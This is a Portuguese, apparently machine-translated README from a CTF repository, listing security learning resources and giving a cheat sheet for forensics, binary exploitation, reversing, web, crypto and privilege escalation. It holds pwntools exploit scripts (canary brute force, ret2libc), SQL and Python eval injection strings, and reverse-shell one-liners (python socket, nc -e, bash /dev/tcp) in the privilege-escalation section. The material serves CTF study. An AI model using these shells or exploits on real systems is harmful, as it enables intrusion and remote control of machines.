Um guia de mestrado para aprender segurança
Redações/Arquivos para alguns dos Cyber CTFs que fiz
Também incluí uma lista de recursos de CTF, bem como uma folha de dicas abrangente que cobre vários desafios comuns de CTF
Observação
Agora existe um espelho web deste repositório em hackback.zip
Índice
Recursos
Canais do YouTube
- John Hammond
- Costumava fazer muitos vídeos CTF, mas mudou para outras coisas
- Ainda há muitos vídeos úteis. Especialmente os CTF são incríveis para ensinar pessoas novas no mundo cibernético.
- Estouro ao vivo
- Faz vídeos extremamente interessantes e aprofundados sobre cibernética.
- Tem uma série incrível de pwn
- IppSec
- Faz anotações de cada máquina HackTheBox
- Fala sobre diferentes maneiras de resolver e por que as coisas funcionam. Altamente recomendado
- Informático
- As mesmas pessoas que Numberphile, mas mais legais. Faz vídeos realmente intuitivos e de nível iniciante sobre conceitos básicos.
- pwn.college
- Professor da ASU que tem muitos vídeos no pwn
- Material do curso guiado: https://pwn.college/
- Toneladas de problemas práticos: https://dojo.pwn.college/
- Função Pwn
- Vídeos animados de alta qualidade e fáceis de entender sobre tópicos diferentes
- Os tópicos são um pouco avançados, mas facilmente compreensíveis
- Martin Carlisle
- Faz vídeos incríveis sobre os desafios do picoCTF.
- Sam Bowne
- Professor do CCSF que abre o código de todas as suas palestras e material do curso em seu site
- UFSIT
- Equipe UF Cyber (sou um pouco tendencioso, mas definitivamente um dos melhores canais do YouTube para isso)
- Gynvael
- Faz gravações de vídeo incrivelmente intuitivas. Fez todo o picoCTF 2019 (é muito)
- Segurança da Informação em Black Hills
- Empresa de segurança que produz muito conteúdo educacional
- Sempre fazendo cursos e webcasts gratuitos sobre temas de segurança
- esmagamento de pilhas
- Vídeos incríveis de engenharia reversa e hacking de hardware
- Tem uma série muito legal dele fazendo engenharia reversa do WannaCry
- Ben Greenberg
- Prof GMU com vários tutoriais em vídeo sobre pwn e malware
- Um pouco desatualizado, mas ainda bom
- InfoSecLab na Georgia Tech
- Palestras aprofundadas boas e avançadas sobre pwn
- Requer algum conhecimento prévio
- RPISEC
- Reuniões da equipe da Universidade RPI
- Muito avançado e pressupõe um pouco de conhecimento prévio de cs
- Matt Brown
- Pentester de segurança embarcada
- Faz ótimos vídeos para iniciantes sobre hacking de IoT
Palestras
Aqui estão alguns slides que reuni: hackback.zip/presentations
Locais de prática/aprendizagem
CTFs
- PicoCTF
- Toneladas de desafios práticos incríveis.
- Definitivamente o padrão ouro para começar
- UCF
- Bom no geral, mas ótima prática
- Atualmente estou trabalhando para colocar artigos aqui
- hacker101
- CTF, mas um pouco mais voltado para pentesting
- CSAW
- Reduz 90% do tempo e geralmente nenhuma das conexões funciona
- Se estiver ativo, terá muitos bons desafios introdutórios
- CTF101
- Uma das melhores introduções de CTFs que já vi (gj osiris)
- Muito sucinto e amigável para iniciantes
Em geral
- HackTheBox
- O site da caixa OG
- As caixas são selecionadas para garantir a qualidade
- Agora tem alguns problemas do tipo CTF
- Agora tem cursos para começar a aprender
- ExperimenteHackMe
- Caixas um pouco mais fáceis que HackTheBox
- Desafios passo a passo
- Agora tem "caminhos de aprendizagem" para guiá-lo pelos tópicos
- CybersecLabs
- Grande coleção de caixas
- Tem algumas coisas do CTF
- Vuln Hub
- Possui máquinas virtuais vulneráveis que você mesmo precisa implantar
- Muita variedade, mas difícil encontrar boas
Pwn
- pwnable.kr
- Desafios com boa variedade de dificuldade
- pwnable.tw
- Mais difícil que pwnable.kr
- Tem anotações depois que você resolve o desafio
- pwnable.xyz
- Mais desafios próprios
- Tem anotações depois que você resolve o desafio
- Você pode enviar seus próprios desafios depois de resolver todos eles
- pwn dojo
- Melhor coleção de desafios Pwn na minha opinião
- Apoiado com slides ensinando como fazer e tem um discord se precisar de ajuda
- pesadelo
- Padrão ouro para obter binários C
- Tem alguns erros/erros de digitação, mas no geral é incrível
- notas pessoais
- Notas de alguma pessoa aleatória online
- Muito superficial, mas boa introdução para tudo
- Escola de verão de segurança
- Curso de Segurança da Universidade de Bucareste
- Explicações muito amigáveis para iniciantes
- RPISEC MBE
- Curso Moderno de Exploração Binária da RPI
- Tem uma boa quantidade de laboratórios/projetos para praticar e algumas palestras (um pouco desatualizadas)
- como2heap
- Série Heap Exploitation feita pela equipe CTF da ASU
- Inclui um recurso de depurador muito legal para mostrar como funcionam as explorações
- ROPEmpório
- Conjunto de desafios em todos os principais ensinos de arquitetura de Programação Orientada a Retorno
- Qualidade muito alta. Ensina desde as técnicas mais básicas até as mais avançadas.
- Atualmente estou adicionando meus próprios artigos aqui
- Educação sobre exploração de Phoenix
- Toneladas de problemas de exploração binária ordenados por dificuldade
- Inclui fonte e vem com uma VM que possui todos os binários.
Rev.
- desafios.re
- Tantos desafios 0_0
- Toneladas de diversidade
- revertendo.kr
- crackmes.one
- Toneladas de desafios estilo crackme (CTF)
- Workshops sobre malware unicórnio
- Workshops gratuitos sobre engenharia reversa e análise de malware
Rede
- websec.fr
- Muitos desafios da web com uma boa variedade de dificuldade
- webhacking.kr
- Tem um arquivo de muitos bons desafios da web
- Protegendo aplicativos da Web
- Curso CCSF de código aberto
- Loja de sucos OWASP
- Muito voltado para pentesting, mas útil para explorar web em CTFs
- Mais de 100 vulnerabilidades/desafios no total
- PortSwigger
- Padrão ouro para entender o hacking na web
- Toneladas de desafios e explicações incríveis
- DVWA
- Muito voltado para pentesting, mas útil para explorar web em CTFs
- bWAPP
- Muito voltado para pentesting, mas útil para explorar web em CTFs
- Desafio CTF
- Coleção de desafios da web feitos por Adam Langley e feitos para serem o mais realistas possível.
- Bom para obter experiência com recompensas de bugs
Criptografia
- CryptoHack
- Atualmente estou trabalhando para colocar artigos aqui
- criptopales
- O site de desafio criptográfico OG.
- CriptoCTF
- CTF anual de criptografia. Anos anteriores acessíveis em
20{19,20,21,22,23,24}.cr.yp.toc.tf .
Contratos Inteligentes
Nuvem
- CloudFoxable
- Orienta você na configuração de um ambiente vulnerável a ser explorado usando o cloudfox
- falhas.cloud
- Desafios gratuitos que envolvem encontrar segredos no S3, EC2 e Lambda
Teste de pentes
- hacker101
- hacksplaining
- Explorar o desenvolvimento
- Curso CCSF de código aberto
- Introdução à segurança
- Curso da UC San Diego ministrado por Deian Stefan
- Abrange pwn e criptografia básicos
- Folha de referências do Active Directory
- WADComs
- Folha de dicas interativa para ambientes Windows/AD
- LOLBAS
- Folha de dicas interativa para binários, scripts e bibliotecas "Vivendo da terra" do Windows para exploração
- GTFOBins
- Folha de dicas interativa para técnicas de "Vivendo da terra" do Linux .
Folha de referências do CTF
Perícia/Esteganografia
Em geral
- AperiSolve
- Ferramenta que executa automaticamente outras ferramentas stego
- Recurso realmente bom de John Hammond para diferentes tipos de desafios:
- https://github.com/JohnHammond/ctf-katana
- Outra ótima folha de dicas para criar e resolver desafios:
- https://github.com/apsdehal/awesome-ctf/blob/master/README.md
- arquivo
-
file <file.xyz> - Determina o tipo de arquivo
- esconderijo
-
steghide extract -sf <file.xyz> - Extrai arquivos incorporados
- Stegseek
-
stegseek <file> <password list> - Extrai arquivos incorporados usando uma lista de palavras
- super super rápido
- binwalk
-
binwalk -M --dd=".*" <file.xyz> - Extrai arquivos incorporados
- exiftool
-
exiftool <file.xyz> - Lê metadados
- cordas
-
strings <file.xyz> - Encontra todos os caracteres imprimíveis em um arquivo
- edição hexadecimal
-
hexedit <file.xyz> - Talvez seja necessário alterar a assinatura do arquivo em algumas imagens para que elas abram
- Lista de assinaturas de arquivos comuns
- Ghex (outro editor hexadecimal, mas com GUI. Bom se você precisar pular para um determinado byte)
- arquivos docx são contêineres para que você possa descompactá-los para encontrar conteúdo oculto
- Grep – Uma boa maneira de usar o grep para encontrar o sinalizador recursivamente:
-
grep -r --text 'picoCTF{.*}' -
egrep -r --text 'picoCTF{.*?} - Você pode alterar 'picoCTF' para o início da bandeira que está procurando
- Ltrace - Permite ver o que o código está fazendo enquanto você executa o programa:
-
ltrace ./<file> -
ltrace -s 100 ./<file>- Ltrace encurta strings muito longas. Você pode usar -s para aumentar quantos caracteres o ltrace mostra. Bom para quando se olha strcmp que possui strings grandes.
Áudio
Áudio do fax:
Áudio SSTV (TV de varredura lenta) (coisas da lua)
- Exemplo
- Decodificador
- Decodificador alternativo
- Use estas configurações de qsstv:
Imagem do espectrograma
Mude o tom, a velocidade, a direção...
- Tom, velocidade, sintonia
- Reverter
Teclas de telefone DTMF (dual tone multiple Frequency)
-
multimon-ng -a DTMF -t wav <file.wav>- Lembre-se de que essas letras podem ser multitap.
- Isso pode decodificar os números em texto
Fita cassete
- Exemplo
- Decodificador (wav para tocar em arquivos)
código Morse
Imagem
Vídeo
Imagem da máquina
- Recuperando arquivos
- Você pode montar uma imagem como uma máquina virtual
- https://habr.com/en/post/444940/
- Monte um arquivo
.img :-
binwalk -M --dd=".*" <fileName> - execute
file na saída e selecione o arquivo do sistema de arquivos Linux -
losetup /dev/loop<freeLoopNumber> <fileSystemFile>
PCcap
- Extraia dados com tcpflow
- Extraia dados com wireshark
- Arquivo → Exportar objetos → Fazer seleção
Pwn / Exploração Binária
- Para este, sugiro dar uma olhada no meu repositório LearnPwn, já que esta folha de dicas foi feita antes de eu saber muito sobre o pwn
- No entanto, incluí algumas notas que alteram o que tenho aqui.
Em geral
- verifique a segurança do ELF
-
checksec <binary> -
rabin2 -I <binary>
- verificar a segurança do PE
- verificação de segurança binária
-
binary-security-check <bin>.exe
- verifique seccomp bpf
- ferramentas seccomp
-
seccomp-tools dump ./<binary>
- veja os símbolos
- olha as cordas
- endereço do pacote para byte
- little endian (para 32 bits)
-
python -c "import pwn; print(pwn.p32(<intAddr>))
- big endian (para 64 bits)
-
python -c "import pwn; print(pwn.p64(<intAddr>))
- pwntools empacota automaticamente endereços com o endianness correto para você
Estouro de buffer
- Se você precisar obter um shell /bin/sh e tiver certeza de que funciona, mas o programa sai de qualquer maneira, use este truque:
-
( python -c "print '<PAYLOAD>'" ; cat ) | ./<program> - pwntools faz isso com seu
process.interactive()
TORTA (Execução Independente Posicional)
- determinar valor aleatório
-
pwn cyclic <numChars> para gerar carga útil -
dmesg | tail | grep segfault para ver onde estava o erro -
pwn cyclic -l 0x<errorLocation> para ver o deslocamento aleatório para controlar o ponteiro da instrução - exemplo
NX (não executável)
- Podemos usar ROP (programação orientada a retorno) para resolver
ROP (para binários compilados estaticamente)
- ROPGadget
- visualizar gadgets e gerar ropchains automaticamente
-
ROPgadget --ropchain --binary <binary>- Você pode então adicionar preenchimento no início do código (com base na diferença entre o buffer e o endereço de retorno) e executar o código para obter um shell
- Demonstração
- ropr
Pilha Canário
Encontrando o canário da pilha em um depurador
- Canário de pilha é um valor colocado antes do EIP/RIP (ponteiro de instrução) que pode ser substituído por um buffer overflow. O programa causa um erro basicamente se a pilha for substituída por algo diferente do que era originalmente. Nosso objetivo é encontrar a pilha original para que, quando estourarmos, o programa seja executado normalmente.
- O canário da pilha é retirado de
gs ou fs (para 32 e 64 bits, respectivamente)- Na desmontagem, antes de algo ser lido, você poderá ver uma linha semelhante a esta:
0x000000000000121a <+4>: sub rsp,0x30
0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax
0x000000000000122b <+21>:xor eax,eax
- Aqui, o canário da pilha é movido para
rax no deslocamento +8.- Assim, faça uma pausa no próximo deslocamento e verifique o que está em rax (
ir rax ) para ver qual é o canário atual
Canários estáticos
- Um canário só é estático se tiver sido implementado manualmente pelo programador (que é o caso em alguns desafios introdutórios) ou se você for capaz de fazer um fork do programa.
- Quando você bifurca o binário, o bifurcado tem o mesmo canário, então você pode fazer uma força bruta byte por byte nele
Extra
Quando um canário de pilha é substituído incorretamente, isso causará uma chamada para __stack_chk_fail
- Se não pudermos vazar o canário, também podemos modificar a tabela GOT para evitar que ela seja chamada
O canário é armazenado na estrutura TLS da pilha atual e inicializado por security_init
- Se você puder sobrescrever o valor canário real, poderá defini-lo igual ao que decidir estourar.
Script simples para aplicar força bruta em um canário estático de 4 bytes:
#!/bin/python3
from pwn import *
#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF ( './vuln' )
# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range ( 1 , 5 ):
for letter in range ( 0 , len ( alphabet )): # We will go through each letter/number in the string 'alphabet'
p = elf . process () # We start the process
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( str ( 32 + i )) # In this program, we had to specify how many bytes we were gonna send.
wait = p . recv (). decode ( 'utf-8' )
p . sendline ( 'A' * 32 + canary + alphabet [ letter ]) # We send the 32 A's to overflow, and then the canary we already have + our guess
prompt = p . recv (). decode ( 'utf-8' )
if "Stack" not in prompt : # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
canary += alphabet [ letter ] # If it doesn't print that, we got part of our canary :)
break # Move on to the next canary letter/number
print ( "The canary is: " + canary )Vulnerabilidades de string de formato
- Veja na Tabela 2 o que tentar se você vir "printf(buf)" ou algo parecido:
- https://owasp.org/www-community/attacks/Format_string_attack
- Recomendo fortemente olhar para John Hammond fazendo o desafio 'echooo' do picoCTF 2018
- Às vezes, tentar imprimir apenas strings da pilha como esta: '%s %s %s %s %s %s' pode causar erros, pois nem tudo na pilha é uma string.
- Tente minimizar isso fazendo '%x %x %x %x %x %s'
- Em vez de ter que aumentar constantemente quantos %x e %s você digita, você pode passar um parâmetro para facilitar:
-
%1$s - Isso imprimirá o primeiro valor da pilha (pelo que entendi, aquele próximo ao seu buffer) como uma string. -
%2$s - Isso imprimirá o segundo valor como uma string, e você entendeu - Você pode usar loops de uma linha para tentar encontrar o sinalizador vazando a pilha. Pressione ^C (CTRL + C) para ir para o próximo valor.
-
for i in {1..100}; do echo "%$i$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
- Você pode controlar o quanto vaza usando diferentes parâmetros de tamanho:
-
%hhx vaza 1 byte (metade da metade do tamanho interno) -
%hx vaza 2 bytes (metade do tamanho interno) -
%x vaza 4 bytes (tamanho interno) -
%lx vaza 8 bytes (tamanho longo)
- vídeo muito bom sobre como modificar a pilha com fstring vuln e %n:
- https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
Código Shell
- Bom site para encontrar diferentes shellcodes:
- http://shell-storm.org/shellcode/
Retorno ao Libc
Iremos sobrescrever o EIP para chamar a função da biblioteca system() e também passaremos o que ele deve executar, neste exemplo um buffer com "/bin/sh"
Boa explicação:
- https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
Bom exemplo (vá para 3:22:44):
- https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
- https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
Obtenha o endereço para execve("/bin/sh")
Se você já conhece o arquivo libc e um local (ou seja, não precisa vazá-los...)
#!/bin/python3
from pwn import *
import os
binaryName = 'ret2libc1'
# get the address of libc file with ldd
libc_loc = os . popen ( f'ldd { binaryName } ' ). read (). split ( ' n ' )[ 1 ]. strip (). split ()[ 2 ]
# use one_gadget to see where execve is in that libc file
one_gadget_libc_execve_out = [ int ( i . split ()[ 0 ], 16 ) for i in os . popen ( f'one_gadget { libc_loc } ' ). read (). split ( " n " ) if "execve" in i ]
# pick one of the suitable addresses
libc_execve_address = one_gadget_libc_execve_out [ 1 ]
p = process ( f'./ { binaryName } ' )
e = ELF ( f'./ { binaryName } ' )
l = ELF ( libc_loc )
# get the address of printf from the binary output
printf_loc = int ( p . recvuntil ( ' n ' ). rstrip (), 16 )
# get the address of printf from libc
printf_libc = l . sym [ 'printf' ]
# calculate the base address of libc
libc_base_address = printf_loc - printf_libc
# generate payload
# 0x17 is from gdb analysis of offset from input to return address
offset = 0x17
payload = b"A" * offset
payload += p64 ( libc_base_address + libc_execve_address )
# send the payload
p . sendline ( payload )
# enter in interactive so we can use the shell created from our execve payload
p . interactive ()Engenharia Reversa
Guia legal: https://opensource.com/article/20/4/linux-binary-análise
- Ghidra
- dotPeek ou dnSpy
- descompilar executáveis .NET
- jadx e jadx-gui
- zona de desenvolvimento
- Colcha de flores
- Descompilador java avançado baseado em terminal
- apktool
- descompilar apks
-
apktool d *.apk
- gdb
- Análise binária
- peda (extensão para maior funcionalidade)
- gef (extensão gdb para pwners)
- radare2
- FIO FIO
-
strings com esteróides. Usa análise estática para encontrar e calcular strings
Solucionadores SMT
Reverter verificações byte a byte (ataque de canal lateral)
https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html
- Aqui está uma versão que fiz para um desafio que usa um ataque baseado no tempo:
- Talvez você precise executá-lo algumas vezes apenas para considerar a aleatoriedade
#!/bin/python3
from pwn import *
import string
keyLen = 8
binaryName = 'binary'
context . log_level = 'error'
s = ''
print ( "*" * keyLen )
for chars in range ( keyLen ):
a = []
for i in string . printable :
p = process ( f'perf stat -x, -e cpu-clock ./ { binaryName } ' . split ())
p . readline ()
currPass = s + i + '0' * ( keyLen - chars - 1 )
# print(currPass)
p . sendline ( currPass . encode ())
p . readline ()
p . readline ()
p . readline ()
info = p . readall (). split ( b',' )[ 0 ]
p . close ()
try :
a . append (( float ( info ), i ))
except :
pass
# print(float(info), i)
a . sort ( key = lambda x : x [ 0 ])
s += str ( a [ - 1 ][ 1 ])
print ( s + "*" * ( keyLen - len ( s )))
# print(sorted(a, key = lambda x: x[0]))
p = process ( f'./ { binaryName } ' )
p . sendline ( s . encode ())
p . interactive ()Procurando strings com gef
- Se o seu sinalizador estiver sendo lido em uma variável ou registro a qualquer momento, você pode quebrar após movê-lo e executar
grep <string> e o gef mostrará automaticamente a string que corresponde ao seu padrão de pesquisa
Rede
- Nikto (se permitido)
- procura vulnerabilidades automaticamente
- gobuster (se permitido)
- Diretórios e arquivos de forças brutas
- hidra (se permitido)
- Logins de força bruta para vários serviços
- BurpSuite
- Intercepta solicitações da web e permite modificá-las
- Wireshark
- Analise o tráfego de rede ao vivo e arquivos pcap
- shell reverso do php
- Útil para sites que permitem fazer upload de arquivos
- Este arquivo precisa ser executado no servidor para funcionar
- WPScan
- Digitalize sites wordpress
- Use
wpscan --url <site> --plugins-detection mixed -e com uma chave de API para obter melhores resultados
- jwt
- Você pode identificar um token JWT, pois o json codificado em base64 (e, portanto, os tokens jwt) começa com "ey"
- Este site irá decodificar tokens JSON da web
- Você pode decifrar o segredo do token da web JSON para modificar e assinar seus próprios tokens
-
echo <token> > jwt.txt -
john jwt.txt
- Injeção SQL
- mapasql
-
sqlmap --forms --dump-all -u <url> - Automatiza o processo de injeção de SQL
- Injeção SQL básica
- Digite
'OR 1=1-- no formulário de login - No servidor, isso será avaliado como
SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = '' -
1=1 é avaliado como verdadeiro, o que satisfaz a instrução OR , e o restante da consulta é comentado pelo --
- Cargas úteisAllTheThings
- Ótimo recurso para exploração na web com muitas cargas úteis
- Injeção de modelo
- tplmap
- Injeção automatizada de modelos no lado do servidor
- Injeção de Jinja
- Injeção de frasco
- Função de avaliação Python()
-
__import__.('subprocess').getoutput('<command>')- certifique-se de trocar os parênteses se não funcionar
-
__import__.('subprocess').getoutput('ls').split('\n')- listar arquivos no sistema
- Mais injeção de python
- Script entre sites
- Avaliador CSP
- Avaliador da política de segurança de conteúdo do Google
Campos de entrada confusos
- FFUF
- Copie a solicitação para o campo de entrada e substitua o parâmetro por "FUZZ":
-
ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all - Use
-fs para filtrar tamanhos
Criptografia
CyberChef
- CyberChef
- Realiza diversas operações de criptografia
Detector de cifras
Hashes
- escondeu
- Utilitário de linha de comando para detectar o tipo de hash
Cifras Comuns
- Cifra de César
- Cifra de Vigènere
#### Solver using custom table
cipherText = ""
plainText = ""
flagCipherText = ""
tableFile = ""
with open ( cipherText ) as fin :
cipher = fin . readline (). rstrip ()
with open ( plainText ) as fin :
plain = fin . readline (). rstrip ()
with open ( flagCipherText ) as fin :
flag = fin . readline (). rstrip ()
with open ( tableFile ) as fin :
table = [ i . rstrip (). split () for i in fin . readlines ()]
table [ 0 ]. insert ( 0 , "" ) # might have to modify this part.
# just a 2d array with the lookup table
# should still work if the table is slightly off, but the key will be wrong
key = ""
for i , c in enumerate ( plain [ 0 : 100 ]):
col = table [ 0 ]. index ( c )
for row in range ( len ( table )):
if table [ row ][ col ] == cipher [ i ]:
key += table [ row ][ 0 ]
break
print ( key )
dec_flag = ""
for i , c in enumerate ( flag [: - 1 ]):
col = table [ 0 ]. index ( key [ i ])
for row in range ( len ( table )):
if table [ row ][ col ] == flag [ i ]:
dec_flag += table [ row ][ 0 ]
break
print ( dec_flag )- Cifra de Substituição
- Rot13
- Cifra de César codificada
RSA
Obtenha informações RSA com pycryptodome
from Crypto . PublicKey import RSA
keyName = "example.pem"
with open ( keyName , 'r' ) as f :
key = RSA . import_key ( f . read ())
print ( key )
# You can also get individual parts of the RSA key
# (sometimes not all of these)
print ( key . p )
print ( key . q )
print ( key . n )
print ( key . e )
print ( key . d )
print ( key . u )
# public keys have n and e Teorema do Resto Chinês (p,q,e,c)
def egcd ( a , b ):
if a == 0 :
return ( b , 0 , 1 )
g , y , x = egcd ( b % a , a )
return ( g , x - ( b // a ) * y , y )
def modinv ( a , m ):
g , x , y = egcd ( a , m )
if g != 1 :
raise Exception ( 'No modular inverse' )
return x % m
p =
q =
e =
c =
n = p * q # use factordb command or website to find factors
phi = ( p - 1 ) * ( q - 1 ) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)
d = modinv ( e , phi ) # private key
# print(d)
m = pow ( c , d , n ) # decrypted plaintext message in long integer form
thing = hex ( m )[ 2 :] # ascii without extra stuff at the start (0x)
print ( bytes . fromhex ( thing ). decode ( 'ascii' )) #!/bin/python3
from Crypto . Util . number import *
from factordb . factordb import FactorDB
# ints:
n =
e =
c =
f = FactorDB ( n )
f . connect ()
factors = f . get_factor_list ()
phi = 1
for i in factors :
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )- Site que fornece fatores e totiente de Euler (phi)
- https://www.alpertron.com.ar/ECM.HTM
Ataque de caldeireiro (c,e)
- Geralmente usado se o expoente for muito pequeno (e <= 5)
from Crypto . Util . number import *
def nth_root ( radicand , index ):
lo = 1
hi = radicand
while hi - lo > 1 :
mid = ( lo + hi ) // 2
if mid ** index > radicand :
hi = mid
else :
lo = mid
if lo ** index == radicand :
return lo
elif hi ** index == radicand :
return hi
else :
return - 1
c =
e =
plaintext = long_to_bytes ( nth_root ( c , e ))
print ( plaintext . decode ( "UTF-8" ))Ataque de Pollards (n,e,c)
- Baseado no método de fatoração de Pollard, que torna os produtos de números primos fáceis de fatorar se forem (B) suaves
- Este é o caso se
p-1 | B! e q - 1 tem um fator > B
from Crypto . Util . number import *
from math import gcd
n =
c =
e =
def pollard ( n ):
a = 2
b = 2
while True :
a = pow ( a , b , n )
d = gcd ( a - 1 , n )
if 1 < d < n :
return d
b += 1
p = pollard ( n )
q = n // p
phi = 1
for i in [ p , q ]:
phi *= ( i - 1 )
d = inverse ( e , phi )
m = pow ( c , d , n )
flag = long_to_bytes ( m ). decode ( 'UTF-8' )
print ( flag )Ataque de Wiener (n,e,c)
- Para usar quando d é muito pequeno (ou e é muito grande)
- Usando este módulo python
- Prova
from Crypto . Util . number import *
import owiener
n =
e =
c =
d = owiener . attack ( e , n )
m = pow ( c , d , n )
flag = long_to_bytes ( m )
print ( flag )
Base16, 32, 36, 58, 64, 85, 91, 92
https://github.com/mufeedvh/basecrack
Caixa
Conectando
- ssh
-
ssh <username>@<ip> -
ssh <username>@<ip> -i <private key file> - Monte o SSH como um sistema de arquivos localmente:
-
sshfs -p <port> <user>@<ip>: <mount_directory>
- Anfitriões conhecidos
-
ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>
- netcat
Enumeração
Escalação de privilégios
- ervilhas
-
./linpeas.sh - Procura automaticamente vetores de escalonamento de privilégios
- Listar comandos que podemos executar como root
- Encontre arquivos com permissão SUID
-
find / -perm -u=s -type f 2>/dev/null - Esses arquivos são executados com os privilégios do proprietário, em vez de serem executados pelo usuário
- Encontre permissões para todos os serviços
-
accesschk.exe -uwcqv * - Procure serviços que não estejam nas contas de sistema ou administrador
- Serviço de consulta
-
sc qc <service name> - Funciona apenas em cmd.exe
Ouça o shell reverso
Concha reversa
- revshells. com
- modelos para basicamente tudo que você precisa
-
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' -
nc -e /bin/sh <ip> <port> -
bash -i >& /dev/tcp/<ip>/<port> 0>&1
Obtenha um shell interativo
Linux
- Execute o seguinte comando python para torná-lo parcialmente interativo:
python -c 'import pty;pty.spawn("/bin/bash");' - Saia da sessão do netcat com
CTRL+Z e execute stty raw -echo localmente - Entre novamente em sua sessão com o comando
fg (e o ID do trabalho posteriormente, se necessário) - Mude seu emulador de terminal para xterm executando
export TERM=xterm (isso pode não ser necessário) - Mude seu shell para bash executando
export SHELL=bash (isso pode não ser necessário) - Feito! Agora seu shell deve ser totalmente interativo
Janelas / Geral
- Instale
rlwrap em seu sistema - Agora, toda vez que você executar um ouvinte nc, basta colocar
rlwrap na frente - Por exemplo:
rlwrap nc -lvnp 1337- Isso fornecerá teclas de seta e histórico de comandos, mas não fornecerá preenchimento automático (até onde eu sei) para sistemas Windows e *nix
OSINT
- pimeyes
- Rostos de busca reversa na internet
- Estrutura OSINT
- Site que agrega toneladas de ferramentas OSINT
- GeoSpy IA
- Visão geoespacial LLM que pode estimar a localização apenas a partir de uma imagem
- viaduto turbo
- Site que permite consultar a API OpenStreetMap e visualizar resultados
- Pesquisa Bellingcat OSM
- Site que permite consultar facilmente a API OSM
Diversos
